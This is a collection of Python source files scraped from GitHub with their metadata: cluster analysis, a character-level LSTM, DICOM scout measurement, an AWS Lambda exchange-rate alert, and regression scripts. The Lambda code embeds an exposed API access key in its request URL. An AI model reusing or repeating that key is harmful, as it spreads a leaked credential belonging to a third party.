"file_size_in_byte": 1098, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.contrib.admin.autodiscover", "line_number": 7, "usage_type": "call"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.conf.urls.patterns", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 20, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 20, "usage_type": "name"}, {"api_name": "django.conf.settings.DEBUG", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 23, "usage_type": "name"}, {"api_name": "django.conf.urls.static.static", "line_number": 24, "usage_type": "call"}, {"api_name": "django.conf.settings.STATIC_URL", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 24, "usage_type": "name"}, {"api_name": "django.conf.settings.STATIC_ROOT", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 25, "usage_type": "name"}, {"api_name": "django.conf.urls.static.static", "line_number": 26, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 26, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 27, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 27, "usage_type": "name"}]} {"seq_id": "72361681213", "text": "import plac\nimport logging\n\nimport pickle\n\nimport numpy as np\nfrom sklearn.neighbors import KNeighborsClassifier\n\nfrom os import path\n\nlogger = logging.getLogger(__name__)\n\n\n@plac.annotations(\n noun_to_vect_dict_loc=('Location of noun_to_vect_dict file'),\n labels_loc=('Location of labels file'),\n centroids_loc=('Location of centroids file'),\n out_file_path=('Path to save output files')\n)\ndef main(noun_to_vect_dict_loc, labels_loc, centroids_loc):\n logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s',\n level=logging.INFO)\n # Load in pickled noun to vector dictionary\n logger.info('Loading pickled noun to vector dictionary')\n # Load noun to vector dictionary\n with open(noun_to_vect_dict_loc, 'rb') as f:\n noun_to_vect_dict = pickle.load(f)\n\n # Create nouns array\n nouns = np.array(noun_to_vect_dict.keys())\n # Create vectors array\n vectors = noun_to_vect_dict.values()\n\n # Create labels array\n labels = []\n # Load in labels\n logger.info('Loading in labels')\n with open(labels_loc, 'r') as f:\n for line in f:\n labels.append(int(line))\n labels = np.array(labels)\n\n # Load in pickled centroids\n logger.info('Loading pickled centroids')\n with open(centroids_loc, 'rb') as f:\n centroids = pickle.load(f)\n\n # Create empty dictionary for top nouns for a cluster\n top_nouns_dict = {}\n\n # Instantiate and fit kNN model\n knc = KNeighborsClassifier(n_jobs=-1)\n knc.fit(vectors, labels)\n\n # Get indices of top vectors\n for i, centroid in enumerate(centroids):\n # Determine number of representative vectors to get\n class_size = sum(labels == i)\n n_neighbors = 50 if class_size >= 50 else class_size\n # Get indices of n_neighbors vectors nearest to centroid\n indices = knc.kneighbors(X=centroid, n_neighbors=n_neighbors)\n # Add top nouns corresponding to those indices to dictionary\n top_nouns_dict[i] = nouns[indices]\n\nif __name__ == '__main__':\n plac.call(main)\n", "repo_name": "gushecht/noungroups", "sub_path": "scripts/top_nouns.py", "file_name": "top_nouns.py", "file_ext": "py", "file_size_in_byte": 2068, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 21, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 41, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 52, "usage_type": "call"}, {"api_name": "plac.annotations", "line_number": 14, "usage_type": "call"}, {"api_name": "plac.call", "line_number": 66, "usage_type": "call"}]} {"seq_id": "35776595788", "text": "import numpy as np\nimport torch\nfrom torch import nn\nfrom torch.functional import F\nimport matplotlib.pyplot as plt\n\n\ndef pre_processing():\n \"\"\"\n This function reads the file and encodes the text into integer.\n\n :arguments:\n ----------------------------------------\n None\n :return:\n ---------------------------------------\n encoded_text: The encoded text in integer\n int2char : dict object containing the int to char mapping\n char2int : dict object containing the char to int mapping\n\n \"\"\"\n\n # Read the python file.\n with open('datasets/data.txt', 'r') as f:\n text = f.read()\n\n # get the unique list of characters\n chars = set(text)\n\n # Create hashmap with integer key and char as values\n int2char = {i: c for i, c in enumerate(chars)}\n # Create hashmap with char as key and integer as values\n char2int = {c: i for i, c in enumerate(chars)}\n\n # Convert the entire text to integer values and return as numpy array\n encoded_text = np.array([char2int[t] for t in text])\n\n return encoded_text, int2char, char2int\n\n\ndef one_hot_encode(batch, n_labels):\n \"\"\"\n Converts the integer data to one-hot-encoding\n\n :arguments:\n ----------------------------------------\n batch : The data in nxm dimension\n n_labels: Number of unique chars\n :return:\n ---------------------------------------\n one_hot : Matrix having nxmxd dimension.\n\n \"\"\"\n\n batch_squ_len = batch.shape[0] * batch.shape[1]\n\n # Create one hot placeholder with all zeros\n one_hot = np.zeros((batch_squ_len, n_labels), dtype=np.float32)\n\n # Update the related zeros to 1\n one_hot[np.arange(batch_squ_len), batch.flatten()] = 1\n\n # Convert to 3D Matrix. The 3rd dimension represents the one hot encoding\n one_hot = one_hot.reshape((batch.shape[0], batch.shape[1], n_labels))\n\n return one_hot\n\n\ndef get_batch(encoded_text, seq_len, batch_len):\n \"\"\"\n Creates batches from the input data\n\n :arguments:\n ----------------------------------------\n encoded_text : The encoded text in integer\n seq_len : Sequence Length\n batch_len : Batch Length\n :return:\n ---------------------------------------\n x : Input Data\n y : Target Data\n\n \"\"\"\n\n # Calculate the batch size\n batch_size = seq_len * batch_len\n\n # Find number of total number of batch\n possible_batches = len(encoded_text) // batch_size\n\n # Trim the encoded text array and reshape it to have seq_len number of rows\n encoded_text = encoded_text[:possible_batches * batch_size].reshape((seq_len, -1))\n\n # Loop through the array\n for n in range(0, encoded_text.shape[1], batch_len):\n\n # Get the input x with batch_len cols\n x = encoded_text[:, n:n + batch_len]\n\n # The target (y) for the last batch needs to overlap and the last col should be the first column of the input(x)\n # Verify we have reached at the last batch\n if n + batch_len >= encoded_text.shape[1]:\n\n # Copy only the last batch_len-1 columns\n y = encoded_text[:, n + 1:n + batch_len]\n # Copy only the first column\n y2 = encoded_text[:, 0].reshape((1, -1))\n\n # Append the data by column\n y = np.append(y, y2.T, axis=1)\n else:\n # Copy the next batch_len columns\n y = encoded_text[:, n + 1:n + batch_len + 1]\n\n # Return input and target\n yield x, y\n\n\nclass CharRNN(nn.Module):\n\n def __init__(self, int2char, char2int, batch_len=100, n_hidden=256, n_layers=2, drop_prob=0.5):\n\n \"\"\"\n Initializes the CharRNN class\n\n :arguments:\n ----------------------------------------\n int2char : dict object containing the int to char mapping\n char2int : dict object containing the char to int mapping\n batch_len : Batch Length\n n_hidden : # of hidden layers\n n_layers : # of stacked LSTM\n drop_prob : Dropout Probability\n :return:\n ---------------------------------------\n None\n\n \"\"\"\n\n super().__init__()\n\n self.int2char = int2char\n self.char2int = char2int\n self.batch_len = batch_len\n self.n_hidden = n_hidden\n self.n_layers = n_layers\n self.drop_prob = drop_prob\n\n # LSTM Inputs:\n # Input length : This should be the length of one hot encoding. i.e # of unique chars\n # Hidden Layer : Number of hidden layer passed\n # Stacked Layers : Number of stacked LSTM Layers\n # dropout : Dropout ratio\n # batch_first : The first dimension will indicate # of batches\n self.lstm = nn.LSTM(len(self.int2char), self.n_hidden, self.n_layers, dropout=self.drop_prob, batch_first=True)\n\n # Define a dropout layer\n self.dropout = nn.Dropout(drop_prob)\n\n # Define the final fully connected later. The input will be same size as the # of hidden layer,\n # the output will be same as the encoding size ( input size = target/out size )\n self.fc = nn.Linear(self.n_hidden, len(self.int2char))\n\n # Manually initialize the weights of the FC layer\n self.init_weights()\n\n def init_weights(self):\n \"\"\"\n Initializes the weights of the FC Layer\n :return:\n \"\"\"\n\n # Initialize the weights using uniform distribution\n self.fc.weight.data.uniform_(-1, 1)\n # Initialize the weights using 0\n self.fc.bias.data.fill_(0)\n\n def init_hidden(self, seq_len):\n\n \"\"\"\n Initializes the hidden state\n :return:\n \"\"\"\n\n # Initialize the hidden state\n weight = next(self.parameters()).data\n\n # Create two new tensors with sizes n_layers x n_seqs x n_hidden,\n # initialized to zero, for hidden state and cell state of LSTM\n return (weight.new(self.n_layers, seq_len, self.n_hidden).zero_(),\n weight.new(self.n_layers, seq_len, self.n_hidden).zero_())\n\n def forward(self, x, hc):\n \"\"\"\n Forward propagation through the network\n\n :arguments:\n ----------------------------------------\n x : Input Batch Data\n hc : Hidden/cell state\n :return:\n ---------------------------------------\n None\n\n \"\"\"\n\n # Inputs: input, (h_0, c_0)\n # input (seq_len, batch, input_size): tensor containing the features of the input sequence.\n # The input can also be a packed variable length sequence. See torch.nn.utils.rnn.pack_padded_sequence() for details.\n # h_0 (num_layers * num_directions, batch, hidden_size): tensor containing the initial hidden state for each element in the batch.\n # c_0 (num_layers * num_directions, batch, hidden_size): tensor containing the initial cell state for each element in the batch.\n # If (h_0, c_0) is not provided, both h_0 and c_0 default to zero.\n x, (h, c) = self.lstm(x, hc)\n\n # Dropout Layer\n x = self.dropout(x)\n\n # Flatten the batch and seq\n x = x.view(x.size()[0] * x.size()[1], self.n_hidden)\n\n # FC Layer\n x = self.fc(x)\n\n return x, (h, c)\n\n def predict(self, char, h=None, top_k=None):\n \"\"\"\n Predicts the next char in sequence\n\n :arguments:\n ----------------------------------------\n char : Current char\n h : Hidden/cell state\n top_k : Top K Probability\n :return:\n ---------------------------------------\n output : Predicted sequence\n hc : Hidden/cell state\n\n \"\"\"\n\n # If GPU is available then use it\n if torch.cuda.is_available():\n self.cuda()\n else:\n self.cpu()\n\n # In case hidden layer is not available, it needs to be initialized\n if h is None:\n # n_seqs should be 1, as we are going to predict only one char at a time\n h = self.init_hidden(1)\n\n # Convert the input char to integer\n x = np.array([[self.char2int[char]]])\n\n # Perform the one hot encoding\n x = one_hot_encode(x, len(self.char2int))\n\n # Convert Numpy Array to Tensor\n input = torch.from_numpy(x)\n\n if torch.cuda.is_available():\n input = input.cuda()\n\n h = tuple([each.data for each in h])\n out, hc = self.forward(input, h)\n\n # Calculate the probablity using softmax\n p = F.softmax(out, dim=1).data\n\n # Move p to CPU\n if torch.cuda.is_available():\n p = p.cpu()\n\n # Get top k predicted values\n p, top_ch = p.topk(top_k)\n top_ch = top_ch.numpy().squeeze()\n\n # Randomly choose from top k prediction\n p = p.numpy().squeeze()\n char = np.random.choice(top_ch, p=p / p.sum())\n\n # Return the char and hc ( to be used in next prediction )\n return self.int2char[char], hc\n\n\ndef train(model: CharRNN, input, epochs=10, seq_len=10, batch_len=50, lr=0.001, clip=5, val_frac=0.1, print_every=10):\n \"\"\"\n The training loop for the model\n\n :arguments:\n ----------------------------------------\n model : CharRNN class\n input : Encoded input text\n epochs : epochs\n seq_len : Sequence length\n batch_len : Batch Length\n lr : Learning Rate\n clip : Gradient Clipping Value\n val_frac : Validation set ratio\n print_every : Print logs\n :return:\n ---------------------------------------\n None\n\n \"\"\"\n\n # Set the model to training mode\n model.train()\n\n # Define optimization process\n optimization = torch.optim.Adam(model.parameters(), lr=lr)\n\n # Define Loss function\n error_func = nn.CrossEntropyLoss()\n\n # Create training and validation data\n train_index = int(len(input) * (1 - val_frac))\n train_data, val_data = input[:train_index], input[train_index:]\n\n # Move the model to GPU ( if available )\n if torch.cuda.is_available():\n model.cuda()\n\n training_loss = []\n validation_loss = []\n\n # Loop through the epochs\n for i in range(epochs):\n\n # Initialize the hidden layers\n hc = model.init_hidden(seq_len)\n\n # Loop though the batches [ Mini-Batch SGD ]\n for index, (x, y) in enumerate(get_batch(train_data, seq_len, batch_len)):\n\n # Perform one hot encoding\n x = one_hot_encode(x, len(model.int2char))\n\n # Convert Numpy Arrays to PyTorch Tensors\n inputs, targets = torch.from_numpy(x), torch.from_numpy(y)\n\n # Move the input and targets to GPU ( if available )\n if torch.cuda.is_available():\n inputs, targets = inputs.cuda(), targets.cuda()\n\n # Creating new variables for the hidden state, otherwise\n # we'd backprop through the entire training history\n hc = tuple([each.data for each in hc])\n\n # Remove the gradients from the model\n model.zero_grad()\n\n # Forward Propagation\n output, hc = model.forward(inputs, hc)\n\n # Calculate the Loss\n # The output will be of dim (128x100x162) the targets will be of dim (128x100)\n loss = error_func(output, targets.view(seq_len * batch_len))\n\n # Backprop\n loss.backward()\n\n # Gradient clipping ( needed to avoid exploding gradients )\n nn.utils.clip_grad_norm_(model.parameters(), clip)\n\n optimization.step()\n\n if index % print_every == 0:\n\n # Calculate validation loss\n\n val_hc = model.init_hidden(seq_len)\n val_losses = []\n\n # Loop through validation batches\n for val_index, (x, y) in enumerate(get_batch(val_data, seq_len, batch_len)):\n\n # One hot encode and convert to torch tensors\n x = one_hot_encode(x, len(model.int2char))\n inputs, targets = torch.from_numpy(x), torch.from_numpy(y)\n\n # Creating new variables for the hidden state, otherwise\n # we'd backprop through the entire training history\n val_hc = tuple([each.data for each in val_hc])\n\n if torch.cuda.is_available():\n inputs, targets = inputs.cuda(), targets.cuda()\n\n output, val_hc = model.forward(inputs, val_hc)\n\n val_loss = error_func(output, targets.view(seq_len * batch_len))\n val_losses.append(val_loss.item())\n\n print(\"Epoch: {}/{}...\".format(i + 1, epochs),\n \"Step: {}...\".format(index),\n \"Loss: {:.4f}...\".format(loss.item()),\n \"Val Loss: {:.4f}\".format(np.mean(val_losses)))\n\n validation_loss.append(np.mean(val_losses))\n training_loss.append(loss.item())\n\n # print Training/Validation Loss\n plot_loss(training_loss, validation_loss)\n\n\ndef plot_loss(training_loss, validation_loss):\n \"\"\"\n Plots the training vs validation loss\n\n :arguments:\n ----------------------------------------\n model : CharRNN class\n train_loader: Training batch data loader\n val_loader : Validation batch data loader\n batch_size : Batch Size\n epochs : epochs\n lr : Learning Rate\n clip : Gradient Clipping Value\n print_every : Print logs\n :return:\n ---------------------------------------\n None\n\n \"\"\"\n plt.plot(training_loss, 'r--')\n plt.plot(validation_loss, 'b-')\n plt.legend(['Training Loss', 'Validation Loss'])\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.show()\n\n\ndef sample(model: CharRNN, size, prime='import ', top_k=5):\n \"\"\"\n Generate sample output\n\n :arguments:\n ----------------------------------------\n model : CharRNN class\n size : Number of predicted char\n prime : Initial values to start with\n top_k : Top K predicted values\n\n :return:\n ---------------------------------------\n prediction : Predicted String\n\n \"\"\"\n\n if torch.cuda.is_available():\n model.cuda()\n\n # set the model to evaluation mode\n model.eval()\n\n # Initially run through the prime data\n chars = [c for c in prime]\n hc = model.init_hidden(1)\n for c in prime:\n char, hc = model.predict(c, hc, top_k=top_k)\n\n # Predict by passing the previous char\n for index in range(size):\n char, hc = model.predict(chars[-1], hc, top_k=top_k)\n chars.append(char)\n\n return ''.join(chars)\n\n\nif __name__ == '__main__':\n\n training = True\n\n if training:\n\n # Perform Pre-processing\n encoded_text, int2char, char2int = pre_processing()\n\n # Define the CharRNN Class\n model = CharRNN(int2char, char2int, n_hidden=512, n_layers=2)\n print(model)\n\n # Train the model\n train(model, encoded_text, epochs=50, seq_len=128, batch_len=200, lr=0.001, print_every=100)\n\n # Save the model\n model_name = 'model/rnn_50_epoch_new.net'\n\n checkpoint = {'n_hidden': model.n_hidden,\n 'n_layers': model.n_layers,\n 'state_dict': model.state_dict(),\n 'int2char': model.int2char,\n 'char2int': model.char2int,\n 'batch_len': model.batch_len\n }\n\n with open(model_name, 'wb') as f:\n torch.save(checkpoint, f)\n else:\n # Open the model checkpoint\n with open('model/rnn_50_epoch.net', 'rb') as f:\n checkpoint = torch.load(f)\n # Initialize the CharRNN class\n model = CharRNN(checkpoint['int2char'], checkpoint['char2int'], n_hidden=checkpoint['n_hidden'], n_layers=checkpoint['n_layers'])\n # Load the trained weights and biases\n model.load_state_dict(checkpoint['state_dict'])\n\n # Prediction\n print(sample(model, 5000))\n", "repo_name": "adeveloperdiary/DeepLearning_MiniProjects", "sub_path": "Char_Sequence_with_RNN/char_rnn_with_lstm.py", "file_name": "char_rnn_with_lstm.py", "file_ext": "py", "file_size_in_byte": 16321, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.array", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 119, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 119, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 155, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 155, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 158, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 158, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 162, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 243, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 243, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 254, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 260, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 262, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 262, "usage_type": "attribute"}, {"api_name": "torch.functional.F.softmax", "line_number": 269, "usage_type": "call"}, {"api_name": "torch.functional.F", "line_number": 269, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 272, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 272, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 281, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 312, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 312, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 315, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 315, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 322, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 322, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 341, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 344, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 344, "usage_type": "attribute"}, {"api_name": "torch.nn.utils.clip_grad_norm_", "line_number": 365, "usage_type": "call"}, {"api_name": "torch.nn.utils", "line_number": 365, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 365, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 381, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 387, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 387, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 398, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 400, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 426, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 426, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 427, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 427, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 428, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 428, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 429, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 429, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 430, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 430, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 431, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 431, "usage_type": "name"}, {"api_name": "torch.cuda.is_available", "line_number": 451, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 451, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 499, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 503, "usage_type": "call"}]} {"seq_id": "9487817595", "text": "import logging\nfrom pprint import pformat\nfrom io import BytesIO\nimport json\nimport time\nimport datetime\n\nfrom MeasureScout import MeasureScout\n\ndef UpdatePatientDimensions( orthanc, splunk ):\n '''Queries Splunk for unsized localizers and measures them'''\n\n # List of candidate series out of Splunk/dicom_series\n splunk.index = splunk.index_names['series']\n # Can limit the search with \"earliest=-2d\" for example\n q = \"search index={0} Modality=CT ImageType=\\\"*LOCALIZER*\\\" | table AccessionNumber SeriesNumber ID | join type=left [search index=patient_dims | table AccessionNumber AP_dim Lat_dim ] | where isnull(AP_dim) | fields - AccessionNumber SeriesNumber AP_dim\".format(splunk.index)\n items = splunk.ListItems(q)\n\n for i in range(0,len(items)):\n items[i] = items[i].replace(',', '')\n\n logging.debug(pformat(items))\n\n results = {}\n\n # Get instance from Orthanc\n for item in items:\n orthanc.level = 'series'\n info = orthanc.GetItem(item, 'info')\n\n logging.debug(info)\n\n orthanc.level = 'instances'\n for instance in info['Instances']:\n\n data = orthanc.GetItem(instance, 'file')\n\n ret = MeasureScout(BytesIO(data))\n\n logging.debug(pformat(ret))\n ret[\"ID\"] = instance\n ret[\"InstanceCreationDateTime\"] = datetime.datetime.now()\n\n splunk.index = splunk.index_names['patient_dims']\n splunk.AddItem(ret, src=orthanc)\n\n # if not results.get(ret['AccessionNumber']):\n # results[ret['AccessionNumber']] = ret\n # else:\n # results[ret['AccessionNumber']].update(ret)\n #\n # json.dump(results.values(), open('/Users/derek/Desktop/scouts.json', 'w'))\n # logging.debug(pformat(results))\n\n", "repo_name": "derekmerck/CopyDICOM", "sub_path": "IndexData.py", "file_name": "IndexData.py", "file_ext": "py", "file_size_in_byte": 1790, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.debug", "line_number": 22, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 31, "usage_type": "call"}, {"api_name": "MeasureScout.MeasureScout", "line_number": 38, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 40, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 40, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 42, "usage_type": "attribute"}]} {"seq_id": "72913690492", "text": "import json\nimport boto3\nimport requests\nimport os\n\n\ndef lambda_handler(event, context):\n table_name = os.environ['TABLE_NAME']\n table = boto3.resource(\"dynamodb\").Table(table_name)\n # table.put_item(Item={'Exchange': 'COP', 'Value': '42'})\n url = \"http://api.exchangeratesapi.io/v1/latest?access_key=da9abc8c713d60756cf946aeaa8db55d\"\n\n response = requests.request(\"GET\", url)\n\n COP = response.json()[\"rates\"][\"COP\"]\n USD = response.json()[\"rates\"][\"USD\"]\n USD_to_COP = COP/USD\n intUSDtoCOP = int(USD_to_COP/100)\n\n\n # Read the dynamoDB\n response = table.get_item(\n Key={\n 'Exchange': 'COP'\n }\n )\n current_exchange_window = response['Item']['Value']\n print(current_exchange_window)\n\n # current_exchange_window = Read from dynamo\n\n if intUSDtoCOP != int(current_exchange_window):\n # read the arn from a enviroment variable\n topic_arn = os.environ['SNS_TOPIC_ARN']\n\n # Send notification to SNS\n sns = boto3.client('sns')\n\n if intUSDtoCOP > int(current_exchange_window):\n Message = f'The exchange rate has increased!, New exchange rate is: {USD_to_COP}'\n else:\n Message = f'The exchange rate has decreased!, New exchange rate is: {USD_to_COP}'\n\n sns.publish(\n TopicArn=topic_arn,\n Message=Message,\n Subject='Exchange Rate Changed'\n )\n\n # Write to dynamoDB\n print(\"notification\")\n table.put_item(Item={'Exchange': 'COP', 'Value': str(intUSDtoCOP)})\n\n return {\n \"statusCode\": 200,\n \"body\": json.dumps({\n \"message\": \"hello world\",\n }),\n }\n", "repo_name": "RrodriguezM/ExchangeNotificator", "sub_path": "src/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1675, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 8, "usage_type": "attribute"}, {"api_name": "boto3.resource", "line_number": 9, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 13, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 34, "usage_type": "attribute"}, {"api_name": "boto3.client", "line_number": 37, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 56, "usage_type": "call"}]} {"seq_id": "915538230", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Aug 21 16:46:30 2021\n\n@author: suhar\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sn\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.preprocessing import PolynomialFeatures\n\ntrain_data = pd.read_csv(\"trawi.csv\").drop(0)\ntest_data = pd.read_csv(\"teswi.csv\").drop(0)\n\ntest_data.drop([26,26], axis=0, inplace=True)\ntest_data.drop([27,27], axis=0, inplace=True)\n\nxtr = train_data.iloc[:, 0:7].values\nxte = train_data.iloc[:, 7:8].values\n\nytr = test_data.iloc[:, 0:7].values\nyte = test_data.iloc[:, 7:8].values\n\nporeg = PolynomialFeatures(degree = 4) # 4 -> 20%\n\nxpo = poreg.fit_transform(xtr)\nxepo = poreg.fit_transform(xte)\nypo = poreg.fit_transform(ytr)\nyepo = poreg.fit_transform(yte)\n\nlreg = LinearRegression()\nlreg.fit(xpo, xte)\n\nypred = lreg.predict(ypo).round(1)\n\n# LINEAR REGRESSION #\n#reg = LinearRegression()\n#reg.fit(xtr, xte)\n#ypred = reg.predict(ytr)\n#pred = pd.DataFrame(ypred, columns = ['Predict']).values\n#y_Te = pd.DataFrame(yte, columns = ['Test']).values\n#sn.color_palette(\"pastel\")\n#sn.scatterplot(data = pred)\n#sn.scatterplot(data = y_Te)\n# LINEAR REGRESSION #\n\n\"\"\" GRAPH \"\"\"\n\nplt.plot(range(len(ypred)), ypred, color = 'red')\nplt.plot(range(len(yte)), yte, color = 'black')\n\n\"\"\" GRAPH \"\"\"\n\nyp = pd.Series((yte.flatten()-ypred.flatten())**2)\nprint(1/yp.median())", "repo_name": "programmer-666/Codes", "sub_path": "Python/MachineLearning/RegPred/GDST/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 1388, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.PolynomialFeatures", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 57, "usage_type": "call"}]} {"seq_id": "10435058122", "text": "import importlib\nfrom modules.compound_model import CompoundModel\nfrom modules.experiment_helper import parse_experiment_settings, get_model_save_path\n\n\ndef _create_model_instance(model_category, model_name):\n model_class = importlib.import_module(f'model_library.{model_category}s.{model_name}').Model\n return model_class()\n\n\ndef create_model_by_experiment_settings(experiment_settings, load_from=''):\n if 'compound_model' in experiment_settings:\n compound_model_setting = experiment_settings['compound_model']\n sub_models = {}\n for model_category in ['generator', 'discriminator', 'regressor', 'profiler']:\n if model_category in compound_model_setting:\n sub_models[model_category] = _create_model_instance(\n model_category,\n compound_model_setting[model_category]\n )\n\n if not load_from and 'load_pretrain_weight' in compound_model_setting:\n pretrain_weight_setting = compound_model_setting['load_pretrain_weight']\n from_experiment = pretrain_weight_setting.get('from_experiment', experiment_settings['experiment_name'])\n from_sub_exp = pretrain_weight_setting['from_sub_exp']\n load_from = get_model_save_path({\n 'experiment_name': from_experiment,\n 'sub_exp_name': from_sub_exp\n })\n\n 